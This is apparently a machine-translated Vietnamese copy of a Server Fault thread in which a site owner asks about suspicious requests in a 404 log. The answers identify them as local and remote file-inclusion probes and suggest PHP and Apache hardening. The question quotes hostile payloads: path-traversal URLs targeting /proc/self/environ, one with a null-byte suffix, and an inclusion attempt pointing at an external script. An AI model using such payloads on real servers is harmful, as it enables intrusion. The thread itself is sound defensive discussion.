Đây có phải là một nỗ lực hack?


12

Nhìn qua nhật ký 404 của tôi, tôi nhận thấy hai URL sau, cả hai đều xảy ra một lần:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Trang được đề cập, library.phpyêu cầu một typebiến có nửa tá giá trị chấp nhận khác nhau và sau đó là một idbiến. Vì vậy, một URL hợp lệ có thể là

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

và các id đều chạy qua mysql_real_escape_stringtrước khi được sử dụng để truy vấn cơ sở dữ liệu.

Tôi là một tân binh, nhưng dường như cả hai liên kết này đều là những cuộc tấn công đơn giản chống lại webroot?

1) Làm thế nào tốt nhất để bảo vệ chống lại những thứ này ngoài 404?

2) Tôi có nên chấp nhận (các) IP chịu trách nhiệm không?

EDIT: cũng chỉ nhận thấy điều này

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: IP vi phạm cho cả 3 cuộc tấn công là 216.97.231.15dấu vết của một ISP có tên Lunar Pages nằm ngay bên ngoài Los Angeles.

EDIT 3: Tôi đã quyết định gọi cho ISP vào sáng thứ Sáu theo giờ địa phương và thảo luận vấn đề với bất cứ ai tôi có thể nhận được trên điện thoại. Tôi sẽ đăng kết quả ở đây trong 24 giờ hoặc lâu hơn.

EDIT 4: Cuối cùng tôi đã gửi email cho quản trị viên của họ và họ trả lời rằng "họ đang xem xét nó" và sau đó một ngày sau đó "vấn đề này cần được giải quyết ngay bây giờ". Không có thêm chi tiết, đáng buồn.


Adnrew, tôi có hiểu đúng không khi tập lệnh /l Library.php này không bao gồm bất cứ thứ gì từ chuỗi truy vấn? Trong trường hợp này, bạn an toàn
Đại tá mảnh đạn

library.php xử lý các liên kết được tạo bởi trang web của riêng tôi. Các typenói với kịch bản trong đó bao gồm việc sử dụng (mặc dù thông qua một IF $_GET['type'] == 'thing') {} ESLE..., không phải là một liên kết trực tiếp như include 'type.php') và idđược điều hành thông qua mysql_real_escape_string và đó được sử dụng cho các truy vấn. Biết rằng, tôi vẫn an toàn?

Ai đó có thể giải thích chính xác những gì kẻ tấn công đang cố gắng tìm hiểu? Một bản tóm tắt ngắn trong câu hỏi của tất cả các câu trả lời sẽ là tuyệt vời.
bzero

Câu trả lời:


19

0) Có. Ít nhất, đó là một thăm dò có hệ thống đối với trang web của bạn đang cố gắng khám phá nếu nó dễ bị tấn công.

1) Khác với việc đảm bảo rằng mã của bạn sạch sẽ, bạn không thể làm gì nhiều ngoài việc chạy thử nghiệm của riêng bạn đối với máy chủ của bạn để đảm bảo an toàn. Google Skipfish là một trong nhiều công cụ giúp bạn ở đó.

2) Tôi sẽ.


10
Về 0)ký hiệu: tốt đẹp !! Tôi chưa bao giờ nghĩ về điều đó.

@polygenelubricants Tôi đặt cược bạn sẽ không nghĩ đến -1)hoặc 0.5)hoặc π)hoặc 2 + 3i)ký hiệu một trong hai. : P
Mateen Ulhaq


7

Như đã nói bởi những người khác: có, đó là một nỗ lực hack. Xin lưu ý rằng ngoài nỗ lực có thể làm bằng tay này, có rất nhiều và rất nhiều những cái tự động được chạy bởi botnet. Nói chung, các kiểu tấn công này đang cố lén lút tìm các lỗ hổng lâu đời và / hoặc một số lỗi mã hóa điển hình, chẳng hạn như không xác thực đầu vào của người dùng dẫn đến SQL, rò rỉ hệ thống hoặc tệp hoặc tương tự.

Cấm các botnet đó bằng tay rất có thể là không thể, vì các botnet có thể sử dụng tới hàng ngàn địa chỉ IP duy nhất nên nếu bạn muốn cấm chúng, bạn sẽ phải sử dụng một số loại chương trình cấm tự động. fail2ban đến với tâm trí của tôi; làm cho nó phản ứng với các sự kiện mod_security hoặc một số mục nhật ký khác.

Nếu mã của bạn sạch sẽ và máy chủ cứng lại, những lần hack đó chỉ gây ô nhiễm nhật ký. Nhưng tốt hơn là thực hiện các bước phòng ngừa và xem xét một số hoặc tất cả những điều sau đây, tùy thuộc vào nhu cầu của bạn:

  • mod_security là một mô-đun Apache lọc ra tất cả các loại nỗ lực hack điển hình. Nó cũng có thể hạn chế lưu lượng ra ngoài (trang mà máy chủ của bạn sẽ gửi cho khách hàng) nếu thấy JavaScript đáng ngờ, v.v.

  • Suhosin để làm cứng PHP chính nó.

  • Chạy các tập lệnh PHP của bạn như một người dùng sở hữu tập lệnh; những thứ như suphpphp-fpm làm cho điều đó có thể.

  • Gắn thư mục tạm thời webroot và PHP của bạn dưới dạng noexec, nosuid, gật đầu .

  • Vô hiệu hóa các chức năng PHP không cần thiết, chẳng hạn như hệ thốngpassthru .

  • Vô hiệu hóa các mô-đun PHP không cần thiết. Ví dụ: nếu bạn không cần hỗ trợ IMAP, đừng kích hoạt nó.

  • Giữ máy chủ của bạn cập nhật.

  • Giữ mắt của bạn trên các bản ghi.

  • Hãy chắc chắn rằng bạn có bản sao lưu.

  • Có kế hoạch phải làm gì nếu ai đó hack bạn hoặc một số thảm họa khác tấn công bạn.

Đó là một khởi đầu tốt. Sau đó, thậm chí còn có các biện pháp cực đoan hơn như SnortPrelude , nhưng chúng có thể rất quá mức cho hầu hết các thiết lập.


3

Hoàn toàn có khả năng cỗ máy thực hiện các truy vấn đó là zombie botnet. Nếu bạn nhận được những yêu cầu đó từ nhiều IP, có lẽ không đáng để cấm chúng, bởi vì bạn phải cấm một nửa internet để nó có hiệu lực.


1

Như đã nói - đó là một nỗ lực để gia nhập tệp / Proc / self / môi trường để có thêm thông tin.

Tôi giả sử đó là một máy linux:

Bạn nên sử dụng

Bạn có thể chặn ip của một máy chủ tấn công, nhưng bạn nên xem xét rằng nó có thể không tấn công trong tính năng này.

Tôi đã từng chặn một số dịch vụ khi máy chủ của tôi bị tấn công: http / https / pop / imap / ssh nhưng để smtp mở, bạn có thể được thông báo nếu bạn mắc lỗi.


Tại sao phải đợi cho đến khi bạn gặp một cuộc tấn công thất bại trước khi thay đổi bảo mật của bạn? Tại sao làm bất cứ điều gì khi bạn biết cuộc tấn công đang thất bại? Có, OP có thể xem xét một số điều chỉnh tạm thời để giảm nhiễu và lãng phí băng thông - nhưng có ý nghĩa đối với việc áp dụng các thay đổi mà bạn đề xuất mà bạn chưa giải quyết
symcbean

Luôn có những hàm ý. Để nguyên như vậy và bạn có thể bị hack. Bảo mật máy chủ của bạn và đối mặt với các vấn đề gây ra bởi các chương trình bảo mật. Nhưng dù sao đi nữa - bảo mật là mối quan tâm chính trên một hệ thống có thể truy cập web!
Andreas Rehm

0

Vâng, đó là một nỗ lực xâm nhập. Bạn chắc chắn nên đặt một lệnh cấm đối với IP. Nếu bạn xác định rằng IP không có quốc gia, bạn có thể chỉ muốn cấm toàn bộ mạng con mà nó thuộc về. Đây là một vấn đề ít mã hơn là một vấn đề máy chủ. Hãy xem sự xâm nhập cụ thể này và đảm bảo nhà cung cấp dịch vụ lưu trữ của bạn không dễ bị tổn thương hoặc các nỗ lực tương tự của tập lệnh tương tự (đây là giao diện của cái này).


0

Đây là một nỗ lực để khai thác lỗ hổng bao gồm tệp cục bộ tùy ý tiềm năng trong các tập lệnh phía máy chủ có thể truy cập thông qua máy chủ web của bạn. Trên một hệ thống linux dễ bị tổn thương /proc/self/environcó thể bị lạm dụng để thực thi phía máy chủ mã tùy ý.


0

Theo khuyến nghị của Janne Pikkarainen:

Giữ mắt của bạn trên các bản ghi.

Hãy chắc chắn rằng bạn có bản sao lưu.

Là một phần của các nhật ký này, điều quan trọng là phải theo dõi các thay đổi của bất kỳ tệp nào của bạn, bao gồm cả trang web của bạn, như là một phần của hệ thống phát hiện xâm nhập. Một ví dụ là OpenBSD thực hiện điều này theo mặc định cho các tệp cấu hình. Tôi mang cái này lên vì:

  • Đối với các trang web trên đám mây, đã có những sửa đổi tinh vi đối với các tệp PHP trên một trang web được xây dựng tùy chỉnh (đây chỉ là một thẻ không chuẩn nhưng có thể là một phần của thử nghiệm để đo lường mức độ khai thác).
  • Đối với một đồng nghiệp, đã có các chuyển hướng tinh tế trong tệp WordPress .htaccess của họ (chỉ giới thiệu từ kết quả tìm kiếm của Google).
  • Đối với một đồng nghiệp khác, có những sửa đổi tinh tế đối với tệp cấu hình Joomla của họ (không thể nhớ điều gì, tôi nghĩ đó cũng là một chuyển hướng trong một số điều kiện nhất định).
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.